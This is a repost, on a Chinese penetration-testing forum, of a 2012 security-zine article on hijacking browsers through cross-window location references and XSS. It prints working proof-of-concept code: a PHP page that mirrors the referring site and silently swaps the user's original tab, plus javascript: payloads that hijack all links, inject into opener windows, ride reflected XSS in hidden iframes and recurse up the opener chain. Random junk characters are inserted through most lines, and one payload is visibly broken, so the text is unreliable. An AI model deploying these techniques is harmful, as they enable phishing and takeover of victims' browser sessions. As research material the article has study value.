中国网络渗透测试联盟

标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持] [打印本页]

作者: admin    时间: 2012-9-13 17:10
标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
                           ==Ph4nt0m Security Team==
: y8 @$ C9 e: D9 Q. Y) a
1 _9 Q0 C% M+ [4 l# W                       Issue 0x03, Phile #0x05 of 0x07
1 b9 t# N2 E4 W: p8 D( s7 \& j
$ ^: O* y& k) t" G  ~" H% N9 g8 K3 H# m# T! b" x* _! l
|=---------------------------------------------------------------------------=|% I2 V$ f* Z% z! J5 b+ r
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|/ O- W# k  X! v4 R8 Y: t2 L
|=---------------------------------------------------------------------------=|( H5 f) j' I. E  P7 ]9 ?
|=---------------------------------------------------------------------------=|
9 H- q1 L2 [8 p$ [: H|=------------------------=[      By rayh4c     ]=---------------------------=|
. Z& @7 X: {; C! G2 K2 B# X! A|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
( n* y- |" A# b9 C|=---------------------------------------------------------------------------=|
* m6 ?% }9 v$ o
0 h* R6 g: F  M- E, ^+ v+ s: X9 X. a& O# l# D
[目录]
9 m* z7 m. ^0 R/ ^" ]1 Y2 j1 S$ ], T
1. 前言
/ A7 }4 N: q  y8 [2. 同源策略简叙
+ z, R+ t% b* ~) e" A$ X3. 理解window对象的同源策略+ b  G" |1 V8 A
4. 窗口引用功能中的同源策略漏洞
3 v( k- L* J- ?7 Q" [  4.1 父窗口引用子窗口的同源策略问题
; [, H& U5 t7 C# k  4.2 子窗口引用父窗口的同源策略问题- y; V7 \; k) x+ d
5. 利用窗口引用漏洞劫持浏览器
3 l9 d/ E: H3 h/ w6. 利用XSS漏洞劫持浏览器
' B( N9 B& {/ U; g/ V% L  6.1 正向跨窗口劫持
6 s# E4 V) A, l5 w% f- [# C  6.2 反向跨窗口劫持
3 f5 ?4 j" c, `! S  6.3 极度危险的跨框架窗口引用劫持
* ]( N5 t) n2 c8 p2 N: V5 t  6.4 极度危险的正反向跨窗口递归劫持
* b  L1 H, Z& ?' g. |  6.5 完全控制浏览器
8 a( x2 _& B# U- `9 ]7. 后记; M5 P1 v( N1 F5 J
8. 参考3 S; {1 j  P3 [; ]
/ q' H$ n7 m0 r* d) T& g- @5 a/ w
6 a  w  M% h7 \
一、前言
* E3 J/ }5 m, e7 C' u' d8 N- {) d2 ]9 ~
, `0 s& e2 ]( B, I    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋9 h9 G; d- }% {2 u5 h
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session! {, R* ^; L9 T- R; L
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
) G: V0 P+ k% R  N条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。, O9 Q; V* J0 u6 f) Y( ?/ i: B

! a4 P+ I! i8 |6 o, Q; r3 ]4 R3 G; i: T3 }; V. T/ f% r
二、同源策略简叙, w# [2 q' {2 j5 k( z
) a) U6 T% M; K/ A& g% I
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以4 `: Q0 d8 z$ @# l5 \/ @
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
9 w5 h* |4 t0 R2 u( |. Z7 e; A曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
# V9 F, ], k- J; o$ H5 [7 `马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个" h8 u" U" x- I/ H$ t
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。4 g( y1 e+ o$ u5 N5 j/ e2 p  C9 V
( C, e$ I, O& V1 K/ w

0 Z: l- o6 P3 b' _9 _. ]+ L三、理解window对象的同源策略" R; P, U( A$ C2 M  J

4 _2 e6 s2 G, Z6 B6 h6 M    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对- Q) d3 x. |, B9 ]) K: V
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
- V! q- W& [2 x( O0 e, n& a$ X8 }( o. _- i
--code-------------------------------------------------------------------------
/ F- q7 u6 g0 r8 O  l. N<script language="javascript">7 @4 H1 J9 Z) [1 ]1 \; L
for(p in window) document.write(p+"<br>");* n1 j' L, b  U6 z. N1 X/ r
</script>
7 B" S# M9 y% j) X-------------------------------------------------------------------------------. n$ r" N( u8 u: ?

0 `1 S, @9 F5 I" E7 \! o    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方/ r. ?2 X( w, L5 m( J
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,' ]3 v1 {" w/ M4 |( X2 L
这些属性和方法就必须遵循同源策略。, Y  @! A/ K# p% K5 o
' Q1 \- F# F3 ^& y4 b1 s
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那( q. o3 D, m6 ]9 h- K( J0 K9 X, o
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
& f4 _0 D9 G. ]1 I的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这9 u1 ]5 `: e5 |; c8 b- }' k0 J* ~
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
# I' j6 j* T: X  w9 e3 X& `3 O1 @值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
' M  Z1 n/ Y* @3 }6 y属性并没有被拒绝访问。  S: [1 s% m, b) g0 a/ g" S4 c

) S+ b% Y. A8 a" c4 z--demo.html--------------------------------------------------------------------5 s; D/ ]* @; o! @; C1 _5 ^; ~% K8 B
<script language="javascript">   7 Q) K: e3 y& u/ K  Q7 ]
function allPrpos(obj) {      
1 S$ \3 ^- X' i$ l/ g* s# z      var props = "<table><tr><td>名称</td><td>值</td>";           $ C' r  k; I' v& ?1 A
      for(var p in obj){          0 [4 a% R7 g1 Z' J( `* B8 Y9 [
            if(typeof(obj[p])=="function"){   
3 N, d* D' J5 I) ~+ V1 p                   obj[p]();   # b; ~2 f2 ^4 P& [+ A! }$ Y7 f
             }else{                     
" S" c$ ~! C2 m2 G% ]: C+ s4 d                  try   . S& m' d" q) X% c9 h
                   {   2 g: N5 d. l% ^; Z6 Y) q* I! K
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
3 ?; i, b' L* L) M2 E                   }   ! }6 c5 X4 }% `! t0 p! @
                  catch (ex)   
4 g2 o; Y. f6 g1 R3 O1 Q                   {   
" z" a, S+ U. ~! L                   5 ^0 e& M4 t- u5 \# c0 ]% W
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
. L1 q2 ], _# x1 L& F% f, I8 p  K9 c                   }   0 W5 P8 E* E- A) R* W! T7 C
                       
4 }3 q8 Q6 a& A5 d             }   
; r# Q7 t+ p6 x4 B: b- s$ ~       }   
: y4 e- W! x% E2 R6 E0 B% r   
3 S4 w9 S$ @& c4 `7 @& M! q8 B) d       document.write(props+"</table>");   # S: [7 P6 L# v& j1 V5 a$ n8 d
}   
  F: x' f/ m" x. `+ b) P5 F   
8 \9 b4 I( a( W+ efunction createWin() {/ d# a/ E6 ~- U5 D# U. ?
        newWin = window.open ("http://www.google.com");  
3 g0 {! u% `* K, \- B# ~        setTimeout(function(){allPrpos(newWin)},2000); 4 w/ F2 N. W8 O* A; R8 P
} 7 O) U! [5 i5 F0 u( n

+ l* b0 {  D; |7 J* \: P( j</script>
2 [0 K# j4 R  v1 v3 Y+ y# c- a- t, o9 Y4 y2 V: p6 @5 }4 i+ k9 @* I
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
6 b2 ~+ U! q: U* {2 m& o; y-------------------------------------------------------------------------------3 ~0 k) a0 Q+ l! n
5 l& \4 {6 l$ J; I% @% }" g
( G8 e+ @2 K5 \! ~" [! V
四、窗口引用功能中的同源策略漏洞: ?* E' h7 I6 }5 d/ y* h' h7 g
+ [% c! Y: X; n: S! z8 U( i
4.1 父窗口引用子窗口的同源策略问题3 }' S2 O4 h5 ]0 ]+ P( y
' v( u8 |2 w9 I$ J% J) j
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
: V6 [4 k* r  m但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道+ i; o0 Z& [# M: a6 l
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
$ L$ n. |  q8 _4 Q- P行测试,会发现父窗口可以控制非同源子窗口location属性值。* |6 Q, |6 Z" w, S# i: c+ p
9 C2 B6 f' Z: ~7 i1 y$ z/ k$ d
--vul1.html--------------------------------------------------------------------
4 r! F0 a9 C  M<script language="javascript">
- W) X/ p) t. [3 ]8 w& Wfunction createWin() {  0 S% ^& @' j6 y; H7 e$ t
        newWin = window.open ("http://www.google.com");  " N; S  i. i( J/ Q% [+ y
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
6 Y7 K: X0 {4 M# J" J}
0 N: N. A7 y1 M1 ^- k" m) O</script>
6 ^) ~' ]( ~& l3 \+ w. o6 `3 V3 [. l( v& m- s
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
/ J6 j) e3 X3 T0 ?: u6 F3 l1 _8 \-------------------------------------------------------------------------------
. @0 w8 f  q& b. W1 r! ?0 l' C& s' j0 U1 F

/ E2 {3 m4 M: Z9 C' e0 Y4.2 子窗口引用父窗口的同源策略问题) [3 w' Z  N6 j+ h

- f8 Q" B( W! f$ f5 S' k    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
, t5 @8 Y) N  w用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
, I& f: y, T6 p( o3 G3 D" I可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
3 [) U7 d3 ~  R0 d( |  A' Q会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。2 n* V4 Y- S( T6 d# e
9 F2 }* a) E& y: N  f  E
--code-------------------------------------------------------------------------+ j) O; ?4 |" Q" @# V

. v4 |6 n2 e3 V( Ujavascript:window.opener.location = "http://www.80sec.com";void(0);
3 m+ y6 T0 T/ D% G2 d
+ E$ i) p. `# H  P+ b, s- o* V-------------------------------------------------------------------------------
/ d7 V5 o- e) I6 Y! F" V( N9 \5 n( w1 c3 }5 V9 e9 I
' @, E) R3 q. _& B2 A4 G
五、利用窗口引用漏洞劫持浏览器
) c# Z2 K3 t, Q6 j2 y3 U& v6 R& s9 ]6 c2 |8 r
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
  p5 B7 \) w/ t! v窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
  H# L7 {5 k" }) N" I; F& O么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
! h$ D) H1 L9 @9 C, K* ]+ |# @" g# ]( ?. [5 M  I6 v: z* Q; Z: H
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产% i- H4 o4 m$ T0 j! V
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
, l) @; x9 n  O/ C7 \* \者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
% b1 b0 {/ F' |1 r' T后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
6 x4 ]# m% V0 b0 g. E会产生什么可怕的后果。8 v* n1 T4 z* J9 N' b7 m

" r  B; ^4 e4 T* v9 W6 ?    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我; j2 g/ |! Q/ t8 B
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
7 f+ A3 i- Z0 b' e3 w5 H这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
  I9 P7 n4 ^3 w  V候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可. c- U1 ~" A/ A; K! R6 z! N0 c
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
5 d$ K" n) I7 w2 Z7 g4 u. B) c% D# j; p5 }( K
--hjk_ref.php------------------------------------------------------------------
, N+ |4 `% J. _$ H# a2 Q8 g5 _" h<?php
6 J5 n$ _; a4 d$ Eif (array_key_exists("HTTP_REFERER", $_SERVER)) {4 A/ ?& q7 ]5 ?
$Url_Mirror = $_SERVER["HTTP_REFERER"];4 `0 b! L7 l7 _  m+ p* O# v
}
/ ]7 P" |3 F3 _# @6 Lif(isset ($_GET['ref'])) {
, H* O- K7 T! a3 Y3 r& gecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';, l* _( X' }! I$ q& r
}+ X1 g  l% Z4 x% m+ [4 q# c" c
?>
: `& _+ X' B- l* ~* P6 V; k- b5 g& Y1 j. \& f
<script language="javascript">
  u: S2 I0 M' }% }, YsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
3 W" o: @0 E  ]</script>/ f1 b/ Y# B1 u" o/ o* Y- u
-------------------------------------------------------------------------------
; k7 @. }: u: p3 n: [  r$ E
; L& v# Z$ a2 U" D    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
" r1 ?& |' A: F1 R' @! m' Z$ K( W/ F
& C) G- S5 H; a: t  z; @9 A! c% V* \
六、利用XSS漏洞劫持浏览器
* B" _& O; f6 H! p9 D# F! b! D2 O! _8 K
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为- W- W/ s" p0 T: E: R" j7 H8 ^
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
/ R0 C$ }0 c1 c" k( ]XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
& L) L0 U  Y9 C: _4 B- C讨论跨站师的终极技巧:
7 d. T8 h7 D4 c6 r0 E1 S& Q" F- B* m& U; ^0 J' O5 D

8 ~4 k; [9 X$ _6.1 正向跨窗口劫持3 W) m8 ~7 K5 @6 I1 n
) X: l/ b. L- I7 L/ F
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
0 W- f. S- t- g3 E3 q$ I0 _主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链) s5 R, D4 [- E2 M
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话0 d& h" l% F+ _) u9 m
框脚本。
8 @' f3 g' u( z/ _- M( M; _9 Q1 ]* D: y5 n# M
--hijack_open.js---------------------------------------------------------------
8 f1 l- I/ f/ L
# W+ S% V- R. T9 l; T8 f- Kjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
" j  v* |8 n  D% [7 t# B% D+ N
( y' ^  n, Y' U' X4 t, q& ]% F-------------------------------------------------------------------------------. M9 g5 P) ]5 J9 A& {( W
% B$ N, x% i2 K: Y/ \* g7 {

& E4 d/ e4 A! k; M5 M6.2 反向跨窗口劫持
& [3 p6 b$ K  m+ {% q+ r) f0 g
# {. E: j0 b3 r% J1 m; p    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
, M& `/ v3 P2 t/ \" o/ B+ k* y码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话; F- q  o/ q0 F' K- H5 e
框脚本。
6 L, I$ l7 T0 B! H4 c) N3 y: n& i5 @) o% T  a
--hijack_opener.js-------------------------------------------------------------
! I, e# b  b+ l3 l2 l- U& W$ u& e2 S3 W# \& l
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
9 p" Q! Y! p- s5 j$ S
" O- `' ^. {* @* Q, h2 H-------------------------------------------------------------------------------
, A6 q+ J: k, f1 |; a1 e
/ o6 n  E7 N" ]5 t
/ Y# S9 k8 R& [; v/ n% A7 e: V6.3 极度危险的跨框架窗口引用劫持
4 h! t' Y0 j2 I) y+ r5 P) m
1 i( x' x/ }6 t7 J" c0 ^    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
" K3 A* H) n/ F3 g; Y  P, V# d可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
5 z' n" T2 `: _( Q适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个+ c) n0 f' a$ b
非持久型的XSS,如下:
8 g% ~( q; b0 ]2 @
4 [, G( Y* I( w% `( n<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>, A4 L5 @- c  M3 F

& T7 h' ?0 a+ V    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口! |$ E0 R# [$ `8 l9 j
注入脚本。  }" o2 }4 Z2 T
2 O2 H1 Q& D- \# P
--hijack_frame_opener.js-------------------------------------------------------+ b& H5 ^" l& Y' A7 j/ I  a8 b, Q' [) F
<script>2 y2 R6 {& }/ R1 q1 w
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";* a! Q/ Y! L9 R+ ]- L2 x3 H
</script>& T2 D* S* z, i  _
-------------------------------------------------------------------------------
! Y  k  g7 I% f7 |) p
; N( k7 h6 N7 G( k- {! X$ B
' C: B/ Y( I6 s) K6.4 极度危险的正反向跨窗口递归劫持
2 e  r$ `: g* i, n7 z7 t$ _' o/ c8 s1 p0 x
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window1 R, o6 a' W9 F
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过( ^# P- U4 p5 ~- v( {. w0 t
异常处理规避之间跨域页面的访问异常,代码如下:# W* ?0 A9 l% M: i, F. E
  r( A0 b2 t  h  T6 N
--code-------------------------------------------------------------------------7 D: _1 i! P: ]9 W- E; L( j- t
% G0 B! Q* `6 B0 X2 T
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
2 S- n! h$ {; v) N- F8 O1 i0 m4 \1 w4 o1 k* X( e. A
-------------------------------------------------------------------------------# \/ `# I4 L- y* O" k# X

$ v# K9 \3 L7 R1 q3 j    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可7 P+ c, c$ X. ?6 S4 j
以劫持B域之前的A域页面,从而实现“隔空打击”。" |8 s2 x& |/ B
# ?; a- i) W$ P" M3 t" h7 _
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
( @; O6 Z' c1 \* }执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。% l) g7 L# y# Y$ `2 f0 F( A7 d

- r! ]/ X( `. T% A, Z6 p    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。3 n8 \/ E, T) f$ y& [
; N5 P- i; {7 _. i; e  {
+ m- v, a2 m& H$ N
6.5 完全控制浏览器, w: u( S, {4 k6 ^4 C$ E
0 a) S5 H  L4 \3 d- l
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
: e8 o0 L1 g( S$ z' R3 s0 O7 ^是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
6 j' O1 o% E! S; |" d: R$ w: o漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
% H& J$ i8 a; l7 {" V+ {而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再2 _4 i- ?& N7 l6 M
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站2 p7 e2 p! B7 F; z* B) X
师的终极目标 - 完全控制浏览器。& \( M  w/ l) j+ r3 A" u# u+ k

) h0 D: e) u- ^2 E# i& m. t# K4 D8 O& Y
七、后记
5 [) k( z3 m6 Y. l5 g/ T3 J+ T5 G8 C
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
* @+ D- s5 s0 a' `6 T与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予' X/ V2 e1 }* P  v
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。5 s& O# x' g$ C  w3 x
) d& B+ X$ q+ U* x* u, M6 R) Z
6 b3 D6 M' K/ p% D, e7 `
八、参考
9 _1 \. A  P$ i0 U7 v3 b4 \3 w0 d) g3 J# l; p' [
1. http://en.wikipedia.org/wiki/Same_origin_policy9 T3 o' Y) N1 p
2. http://code.google.com/p/browser ... licy_for_DOM_access
- Y4 N2 F  {0 {# _) O* Z3. http://www.w3.org/TR/Window/  A" i2 {) L7 }# m
4. http://www.80sec.com/release/browser-hijacking.txt
" e0 V- K0 n7 T) i6 \& b5. http://www.80sec.com/all-browser-security-alert.html
+ k3 g2 K( [! B, a6. http://www.80sec.com/ms08-058-attacks-google.html
1 c/ a9 l! ?) g" z( ~! I
+ H5 |5 @! M' E5 O' _4 r/ {" ?-EOF-




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2